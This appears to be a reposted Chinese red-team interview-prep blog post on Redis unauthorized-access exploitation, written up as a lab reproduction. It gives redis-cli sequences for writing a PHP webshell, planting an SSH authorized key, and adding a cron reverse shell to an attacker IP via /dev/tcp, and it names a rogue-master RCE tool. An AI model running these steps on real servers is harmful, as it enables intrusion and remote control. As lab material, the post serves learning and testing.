护网HW面试——redis利用方式即复现

参考:https://xz.aliyun.com/t/13071

        面试中经常会问到ssrf的打法,讲到ssrf那么就会讲到配合打内网的redis,本篇就介绍redis的打法。

未授权

原理:

        Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

写入webshell

原理:redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入webshell。(无需root起的服务)

192.168.40.163:6379> config set dir /var/www/htmlOK192.168.40.163:6379> config set dbfilename flag.phpOK192.168.40.163:6379> set webshell ""OK192.168.40.163:6379> saveOK192.168.40.163:6379>

这样就可以在指定目录下写一个webshell

写入ssh密钥

原理:

        在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用条件

1、redis服务是root用户

2、目标服务器开启ssh远程连接

3、目标目录/root/.ssh文件存在

(写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。)

注意事项

1、利用之前,要确保一次性写入,不然可能会将上次,或者上上次的内容一起保存起来。

2、此方法需要 flushall,会破坏数据。慎用

利用计划任务反弹shell

原理:

        利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron (centos系统,乌班图不可以)下来执行。

主从复制getshell

原理:

        Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

        在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE

靶机复现

        参考:https://xz.aliyun.com/t/13071

        参考:Redis漏洞总结 - FreeBuf网络安全行业门户

redis常用命令

set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz                              # 获取键xz的内容
SET score 857                       # 设置键score的值为857
INCR score                          # 使用INCR命令将score的值增加1
GET score                           # 获取键score的内容
keys *                              # 列出当前数据库中所有的键
config set protected-mode no        # 关闭安全模式
get anotherkey                      # 获取一个不存在的键的值
config set dir /root/redis          # 设置保存目录
config set dbfilename redis.rdb     # 设置保存文件名
config get dir                      # 查看保存目录
config get dbfilename               # 查看保存文件名
save                                # 进行一次备份操作
flushall                            # 删除所有数据
del key                             # 删除键为key的数据
slaveof ip port                     # 设置主从关系
redis-cli -h ip -p 6379 -a passwd   # 外部连接

概念:

        Redis是一个使用ANSI C编写的开源(BSD许可)、支持网络、基于内存、可选持久性的键值对存储的key-value存储系统,它可以用作数据库、缓存和消息中间件。

        它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

        但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

redis操作注意事项

1.使用SET和GET命令,可以完成基本的赋值和取值操作;

2.Redis是不区分命令的大小写的,set和SET是同一个意思;

3.使用keys *可以列出当前数据库中的所有键;

4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);

5.如果键的值中有空格,需要使用双引号括起来,如"Hello World".

redis未授权访问

原理

        Redis 默认情况下,会绑定在 ip地址:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

        攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

资源下载:Index of /releases/

下载完后解压

        tar -zxvf xx.tar.gz

进入目录

        cd redisxx

编译

        make (我的是新环境还得安装这个make以及build-essential)

        这里我下载了3.2和4.0的版本,编译成功后再src目录下会有一个redis-cli和redis-server文件,使用./redis-server /home/redis/redis-3.2.0/redis.conf 这里要指定这个config文件进行启动,测试是否启动使用redis-cli ping 如果回显是PONG就没问题

        接下来编辑一下这个redis-config文件,找到这个bind,前面添加#注释掉运行除本地之外的主机登录。

redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

再开启kali作为攻击机,kali上面需要apt install redis-server

使用namp进行探测nmap -sV -p 6379 -script redis-info 192.168.1.176

使用redis-cli -h ip 确认漏洞 info查看敏感信息

绝对路径写webshell——有无认证均可

条件

1、知道网站的绝对路径,并且有增删改查的权限

2、root用户启动的redis

3、redis无密码或者弱密码

config set dir /var/www/html/ 
//切换到网站的根目录
config set dbfilename shell.php
//在磁盘中生成木马文件
set webshell "\n\n\n<?php phpinfo());?>\n\n\n" 
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘

进入靶机看看

我这没换行\n确实有点什么问题

重新加入换行写了一遍确实看着没问题了

redis密钥登录ssh

原理

        在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

条件

1、Redis服务使用ROOT账号启动

2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

其实,思路跟写webshell的思路一样

攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空全部默认就可以

将公钥写入到一个txt文件中,这里写入一些\n为了防止乱码

将生成的公钥写入redis的内存中

cat key.txt | redis-cli -h 192.168.1.176 -x set gongyao

// -x 代表从标准输入读取数据作为该命令的最后一个参数。

设置路径和保存的文件名,将内存变量导入磁盘文件

config set dir /root/.ssh

config set dbfilename authorized_keys

save

我的靶机是新的靶机没有/root/.ssh目录可以手动创建一个,或者输入ssh localhost也可以创建一个

到靶机这个可以看到创建了这个文件

这里面有其他数据好像也没有问题,一样可以登录上去

ssh -i id_rsa root@192.168.1.176 或者 ssh 192.168.1.176

计划任务反弹shell

漏洞原理

        利用未授权访问,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。

        我看网上的复现都说Ubuntu的有问题要用centos的,Ubuntu的权限什么的不一样,那我就换成centos进行实验

        首先监听端口

命令

192.168.1.214:6379> flushall

OK

192.168.1.214:6379> keys *

(empty array)

192.168.1.214:6379> config set dir /var/spool/cron/

OK

192.168.1.214:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.1.122/8888 0>&1\n"

OK

192.168.1.214:6379> config set dbfilename root

OK

192.168.1.214:6379> save

OK

可以在靶机上看到这个任务

也是成功反弹回来了就是感觉这个结果好像被污染了一样

本地Redis主从复制RCE反弹shell

原理:

        对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。

漏洞利用使用脚本 GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

一开始的redis3版本用这个脚本不知道为什么好像有点问题,后面换成了4版本的成功了

        i就是直接一个交互式shell r就是反弹shell 可以自定义ip端口

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/45998.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

暴雨让服务器不怕热҈热҈热҈热҈

在AI算力呈几何倍数增长的趋势下&#xff0c;算力逐渐朝着“高性能、高密度、高耗能“发展。在高耗能的算力下&#xff0c;AI服务器功率已逐步逼近风冷散热极限&#xff0c;而液冷作为更加高效、低能耗的制冷技术&#xff0c;逐渐成为了高密度算力散热场景的首选方案。 液冷的…

网络安全----防御----防火墙nat以及智能选路

前面要求在前一篇博客 网络安全----防御----防火墙安全策略组网-CSDN博客 7&#xff0c;办公区设备可以通过电信链路和移动链路上网(多对多的NAT&#xff0c;并且需要保留一个公网IP不能用来转换) 8&#xff0c;分公司设备可以通过总公司的移动链路和电信链路访问到Dmz区的ht…

Jenkins中Node节点与构建任务

目录 节点在 Jenkins 中的主要作用 1. 分布式构建 分布式处理 负载均衡 2. 提供不同的运行环境 多平台支持 特殊环境需求 3. 提高资源利用率 动态资源管理 云端集成 4. 提供隔离和安全性 任务隔离 权限控制 5. 提高可扩展性 横向扩展 高可用性 Jenkins 主服务…

Python excel知识库批量模糊匹配的3种方法实例(fuzzywuzzy\Gensim)

前言 当然&#xff0c;基于排序的模糊匹配&#xff08;类似于Excel的VLOOKUP函数的模糊匹配模式&#xff09;也属于模糊匹配的范畴&#xff0c;但那种过于简单&#xff0c;不是本文讨论的范畴。 本文主要讨论的是以公司名称或地址为主的字符串的模糊匹配。 使用编辑距离算法进…

ffmpeg 时间相关--时间基,timebase,pts,dts,duration

在编码时 video 的情况如下&#xff1a; 1. 在 yuv 数据 阶段&#xff0c;和时间相关参数如下&#xff1a; yuv数据我们在设置的时候要 设置参数&#xff0c;其中和时间相关的是 yuvfps 和 timebase&#xff0c;yuvfps一般是每秒25帧&#xff0c;yuvfps25&#xff1b;timebas…

Is Temperature the Creativity Parameter of Large Language Models?阅读笔记

最近有小伙伴来问LLM的参数该如何设计&#xff0c;废话不多说来看看paper吧。首先&#xff0c;常见的可以进行调参的几个值有temperature&#xff0c;top-p和top-k。今天这篇文章是关于temperature的。 原文链接&#xff1a;https://arxiv.org/abs/2405.00492 temperature如果…

OSPF.中DBD数据包

指定路由器---DR的身份 备份指定路由器---BDR的身份&#xff08;RID&#xff09;注意在一个广播域中的所有设备DR和BDR的认知必须统一。 只有DR和BDR会监听224.0.0.6的组播地址 会发出多个数据包 作用&#xff1a; 1.用来主从选举&#xff08;没有携带lsa再要信息的DBD报文…

《斯科特·凯尔比的风光摄影手册》读书笔记

写在前面 《斯科特凯尔比的风光摄影手册》读书笔记整理没有全部读完&#xff0c;选择了感兴趣的章节理解不足小伙伴帮忙指正 &#x1f603;,生活加油 99%的焦虑都来自于虚度时间和没有好好做事&#xff0c;所以唯一的解决办法就是行动起来&#xff0c;认真做完事情&#xff0c;…

PHP使用,按时间水平分表,跨月多表条件查询数据分页显示

1.创建测试表并添加一些对应数据 sh_user_visit_202405 uid,create_time sh_user_visit_202406 uid,create_time sh_user_visit_202407 uid,create_time2.格式化表 //获取表数组 public function getListByCross($table_prefix, $start_date, $end_date){if($end_date > d…

nginx+lua 实现URL重定向(根据传入的参数条件)

程序版本说明 程序版本URLnginx1.27.0https://nginx.org/download/nginx-1.27.0.tar.gzngx_devel_kitv0.3.3https://github.com/simpl/ngx_devel_kit/archive/v0.3.3.tar.gzluajitv2.1https://github.com/openresty/luajit2/archive/refs/tags/v2.1-20240626.tar.gzlua-nginx-m…

Qt项目:基于Qt实现的网络聊天室---TCP服务器和token验证

文章目录 TCP服务器设计客户端TCP管理者ChatServerAsioIOServicePoolSession层LogicSystem总结 token验证模块完善protoStatusServer验证token客户端处理登陆回包用户管理登陆界面 本篇完成的模块是TCP服务器的设计和token验证 TCP服务器设计 客户端TCP管理者 因为聊天服务要…

游戏服务端设计:任务系统

任务系统的设计 导读 在众多的游戏系统当中,任务系统可谓是缺一不可。它是策划对游戏周期的一种抽象拆分。每个阶段的任务设定和游戏的进度密切相关,可以视其为带有目标的玩法提示和指引。通过完成任务,来了解游戏背景、熟悉玩法,或者是达到某种目标(等级提升/道具获取/条…

C#开发翻译较好的API

用于翻译服务的网站或API&#xff0c;尤其适合C#开发&#xff0c;以下是一些知名的选项&#xff1a; Google Cloud Translation API Google 提供的翻译服务非常强大&#xff0c;支持多种语言&#xff0c;而且有很好的文档和社区支持。您可以使用C# SDK来调用此API。 Microsoft …

LabVIEW心电信号自动测试系统

开发了一种基于LabVIEW的心电信号自动测试系统&#xff0c;通过LabVIEW开发的上位机软件&#xff0c;实现对心电信号的实时采集、分析和自动化测试。系统包括心电信号采集模块、信号处理模块和自动化测试模块&#xff0c;能够高效、准确地完成心电信号的测量与分析。 硬件系统…

计算机视觉之Vision Transformer图像分类

Vision Transformer&#xff08;ViT&#xff09;简介 自注意结构模型的发展&#xff0c;特别是Transformer模型的出现&#xff0c;极大推动了自然语言处理模型的发展。Transformers的计算效率和可扩展性使其能够训练具有超过100B参数的规模空前的模型。ViT是自然语言处理和计算…

STM32+HC-05蓝牙模块学习与使用(内附资料)

引言 随着物联网技术的快速发展&#xff0c;短距离无线通信技术变得日益重要。蓝牙作为一种低功耗、低成本的无线通信技术&#xff0c;在嵌入式系统中得到了广泛应用。本文将详细介绍如何使用STM32微控制器与HC-05蓝牙模块进行通信&#xff0c;实现数据的无线传输。 硬件准备…

prompt第一讲-prompt科普

文章目录 大语言模型输入要求中英翻译助手直接抛出问题描述问题描述&#xff08;详细&#xff09;问题描述案例问题描述案例上下文问题为什么要加入上下文 prompt总结prompt心得 大语言模型输入要求 大语言模型本质上就是一个NLP语言模型&#xff0c;语言模型其实就是接受一堆…

ubuntu服务器安装labelimg报错记录

文章目录 报错提示查看报错原因安装报错 报错提示 按照步骤安装完labelimg后&#xff0c;在终端输入labelImg后&#xff0c;报错&#xff1a; (labelimg) rootinteractive59753:~# labelImg ………………Got keys from plugin meta data ("xcb") QFactoryLoader::Q…

日常学习--20240713

1、字节流转字符流时&#xff0c;除了使用字节流实例作为参数&#xff0c;还需要什么参数&#xff1f; 还需要使用字符编码作为参数&#xff0c;保证即使在不同平台上也是使用相同的字符编码&#xff08;否则会使用平台默认的编码&#xff0c;不同平台默认编码可能不一样&…

hutool处理excel时候空指针小记

如图所示&#xff0c;右侧的会识别不到 参考解决方案&#xff1a; /***Description: 填补空缺位置为null/空串*Param: hutool读取的list*return: 无*Author: y*date: 2024/7/13*/public static void formatHutoolExcelArr(List<List<Object>> list) {if (CollUtil…